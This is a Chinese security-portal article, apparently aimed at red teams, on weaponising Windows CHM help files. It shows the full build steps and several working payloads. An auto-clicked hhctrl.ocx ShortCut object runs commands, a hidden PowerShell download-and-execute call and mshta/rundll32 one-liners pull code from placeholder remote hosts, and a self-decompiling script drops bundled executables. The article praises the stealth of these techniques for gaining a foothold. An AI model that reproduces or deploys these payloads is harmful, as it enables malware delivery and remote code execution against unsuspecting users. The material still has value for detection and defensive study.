CHM攻击利用指北 - FreeBuf网络安全行业门户

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

Web安全

^{0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9}

CHM攻击利用指北

绿盟科技 2021-08-26 17:27:20 216908

所属地北京

简介

"Compiled Help (or HTML) Manual"简称chm，即“已编译的帮助文件”，是由微软开发文档格式，可以被认为是一种类似于RAR等压缩打包的文件格式（可以使用7z等压缩软件直接打开)，可以包含html、图片、脚本语言以及其他文件。

当攻击者恶意利用此文件时，通常会在CHM文件内包含恶意脚本和文件，用户打开chm时便会触发恶意代码执行。著名恶意渗透框架如nishang等都支持生成CHM的恶意恶意利用。本文介绍了如何手动制作CHM，并梳理了常见的攻击利用方式。

手动制作CHM文件

chm文件由一系列html文件编译在一起，形成帮助文档，主要依靠一些配置文件来组织CHM的文件结构。

步骤1 定义HTML help project (.hhp)配置文件

hhp文件是在编译时用到的主要文件。其中定义了主页、chm文件名、标题，以及包含的文件等一系列信息。

1[OPTIONS] 
2Compatibility=1.1 or later
3Compiled file=PocCalc.chm                 // 指定生成的CHM文件名
4Contents file=Table of Contents.hhc       // 指定hhc文件
5Index file=Index.hhk                      // 指定hhk文件
6Default topic=poc.html                    // 指定首页的html文件名
7Title=PocCalc                             // 标题
8Display compile progress=No
9Language=0x410 Italian (Italy)
10Full-text search=Yes                
11
12[FILES] 
13poc.html                                  // 需要编译打包进CHM的文件
14GoogleUpdate.exe 
15goopdate.dll
16
17[INFOTYPES]

步骤2 编写html源码文件

HTML格式源码文件用来存储CHM当中的文本内容，管理组织图片, 按钮，快捷方式等呈现方式。当被攻击者利用时，常常会通过ShortCut的方式添加恶意命令，在Item1的Value中指定需要运行的进程和参数。

如下是一个通过CMD启动计算器的样例。

1<!DOCTYPE html>
2<html>
3<head><title>calc poc</title><head></head><body>
4command exec
5<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
6<PARAM name="Command" value="ShortCut">
7<PARAM name="Button" value="Bitmap::shortcut">
8<PARAM name="Item1" value=',cmd /c, Calc'>
9<PARAM name="Item2" value="273,1,1">
10</OBJECT>
11<SCRIPT>
12x.Click();
13</SCRIPT>
14</body></html>

步骤3 定义hhk文件

hhk文件是html格式的文件，用于保存CHM中关键字索引目录的内容，在<BODY>标签中以列举所有需要嵌入到chm文件中的附件文件对象，对象包含对象名Name和编译对象所在路径Local两个参数，设置的对象会在编译的时候编译到chm文件中。

1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
2<HTML> 
3   <HEAD> 
4   <meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
5   <!-- Sitemap 1.0 --> 
6   </HEAD>
7   <BODY> 
8   <UL> 
9   <LI><OBJECT type="text/sitemap">
10       <param name="Name" value="GoogleUpdate">
11       <param name="Local" value="GoogleUpdate.exe">
12       </OBJECT> 
13   <LI><OBJECT type="text/sitemap">
14       <param name="Name" value="goopdate">
15       <param name="Local" value="goopdate.dll">
16       </OBJECT>
17   </UL>
18   </BODY>
19</HTML>

步骤4 定义hhc文件

hhc文件也是html格式的文件，在hhc文件中，用<UL>和<LI>两个标签定义了带有层级关系中列表,并在其中以<OBJECT>的形式嵌入了html页面对象。利用列表的层级关系，构造了最终chm文件的层级关系。

第一个sitemap对象中包含的html文件将作为首页展示，其中的恶意代码将自动加载执行。

1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN"> 
2<HTML> 
3    <HEAD> 
4        <meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1"> 
5        <!-- Sitemap 1.0 --> 
6    </HEAD> 
7    <BODY> 
8        <OBJECT type="text/site properties">
9            <param name="ImageType" value="Folder">
10        </OBJECT> 
11        <UL>
12            <LI> <OBJECT type="text/sitemap">
13                <param name="Name" value="Notice">
14                <param name="Local" value="poc.html">
15                <param name="ImageNumber" value="1">
16                </OBJECT>
17         </UL>
18     </BODY>
19</HTML>

步骤5 使用HHC.exe 编译

最后我们就可以使用hhc.exe将以上文件编译打包成.chm文档。

命令格式：hhc.exe <hhp文件路径>

反编译

当安全分析人员需要对CHM文档进行逆向分析的时，可以使用windows系统自带的hh.exe 对CHM文件进行反编译（常见路径C:\Windows\hh.exe,C:\Windows\SysWOW64\hh.exe）。但攻击者同样也会利用该工具释放自身CHM文件包含的恶意程序样本，该方式常常被利用来释放白加黑文件。

命令格式：

HH.EXE -decompile <输出路径> <目标chm文件>

反编译后的7-zip.chm帮助文件。

1629969633_61275ce10375fdaad4180.png!small?1629969633799

常见攻击利用方式

1 利用hhctrl.ocx对象命令执行

攻击者可以在html源码文件中嵌入hhctrl.ocx对象来执行命令，ShortCut类型可以接受在Item中填写程序地址，并传递参数给他（不支持如%WINDIR%等环境变量）传递的Value将分割两次“，”获取程序名和参数并调用Shell32.dll的导出函数ShellExecuteA创建进程。

[相关MSDN资料]

https://docs.microsoft.com/en-us/previous-versions/windows/desktop/htmlhelp/to-insert-the-html-help-activex-control-in-your-html-file

https://docs.microsoft.com/en-us/previous-versions/windows/desktop/htmlhelp/shortcut

https://docs.microsoft.com/en-us/previous-versions/windows/desktop/htmlhelp/item-parameter

如当打开或点击左侧标题时就会执行powershell一句话命令。

1<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
2command exec 
3<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
4<PARAM name="Command" value="ShortCut">
5 <PARAM name="Button" value="Bitmap::shortcut">
6 <PARAM name="Item1" value=',powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring("http://xx.xx.xx.xx"))'>
7 <PARAM name="Item2" value="273,1,1">
8</OBJECT>
9<SCRIPT>
10x.Click();
11</SCRIPT>
12</body></html>

通过mshta运行远程hta。

1<OBJECT id=poc classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
2    <PARAM name="Command" value="ShortCut">
3    <PARAM name="Button" value="Bitmap::shortcut">
4    <PARAM name="Item1" value=",mshta,http://x.x.x.x/loader.hta";>
5    <PARAM name="Item2" value="273,1,1">
6</OBJECT>
7<SCRIPT>
8    poc.Click();
9</SCRIPT>

通过rundll32运行JS代码。

1<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
2command exec 
3<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
4<PARAM name="Command" value="ShortCut">
5 <PARAM name="Button" value="Bitmap::shortcut">
6 <PARAM name="Item1" value=',rundll32.exe, javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://xx.xx.xx.xx",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
7 <PARAM name="Item2" value="273,1,1">
8</OBJECT>
9<SCRIPT>
10x.Click();
11</SCRIPT>
12</body></html>

2 释放文件并执行

另一类攻击方式是通过使用CHM打包文件特性，将恶意文件一起打包到CHM文件中，投递给受害者，当受害者双击打开时，恶意CHM就会调用hh.exe -decompile反编译自身，释放包含其中的恶意文件并运行。该方式不需要创建网络连接二次拉取payload，隐蔽性和可利用性较高。

获得当前CHM文件路径，创建用于命令执行的document对象，拼接当前chm文件路径到hh.exe 的参数中反编译释放当前chm文件。

1<SCRIPT>
2function getPath(){ 
3    var pathName = document.location.pathname;
4    var index0 = pathName.substr(1).indexOf(":");
5    var index1 = pathName.substr(1).lastIndexOf(":");
6    var result = pathName.substr(index0+2,index1-index0-2);
7    return result; 
8}
9
10var dir = getPath();
11
12var commodStr = '<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>' + '<PARAM name="Command" value="ShortCut">' + '<PARAM name="Button" value="Bitmap::shortcut">' + '<PARAM name="Item1" value=",hh, -decompile C:\\Windows\\Temp\\Downloads\\ ' + dir + '">';
13document.getElementById('t0').innerHTML = commodStr;
14x.Click();
15</SCRIPT>

函数getPath()用于获取当前chm所在的绝对路径

定义一个Object，前两个参数为固定格式：id和classid，在第三个参数中构造要执行的命令

获取上面定义的容器对象，通过赋值给innerHTML对象实现

document.getElementById('id').innerHTML = commandStr;

上面语句中的id是在html中定义的<div>分区的id

触发执行 x.Click()

3 ActiveXObject

比起前两种方式好处是可以直接执行VBS代码或JScript代码调用ActiveXObject对象，可以使用脚本代码实现后续攻击行为。但运行时会告警目标是否启用ActiveX对象，需要目标点击二次点击确认。

1629969812_61275d94c97592dc84435.png!small?1629969813651 1629969828_61275da40ac6e4fba7016.png!small?1629969828872

总结

CHM文档作为windows下常见的文档类型，总体的隐蔽性和实战价值都比较高。攻击利用时可以通过命令执行达到一句话上线，或通过二次拉取下发等方式进行云控，也可利用hh.exe -decompile反编译自身释放白加黑文件直接上线。如果目标安全警惕性较低，可以通过ActiveX对象运行恶意代码。更多关于CHM的攻击利用方法及武器化实现值得安全攻防人员关注。

# 网络安全 # CHM # 蓝军 # 攻击利用

免责声明

1.一般免责声明：本文所提供的技术信息仅供参考，不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》，作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明：文中技术内容可能不适用于所有情况或系统，在实际应用前请充分测试和评估。若因使用不当造成的任何问题，相关方不承担责任。

3. 更新声明：技术发展迅速，文章内容可能存在滞后性。读者需自行判断信息的时效性，因依据过时内容产生的后果，作者及发布平台不承担责任。

本文为绿盟科技独立观点，未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件，请联系 FreeBuf 客服小蜜蜂（微信：freebee1024）

被以下专辑收录，发现更多精彩内容

+ 收入我的专辑

+ 加入我的收藏

展开更多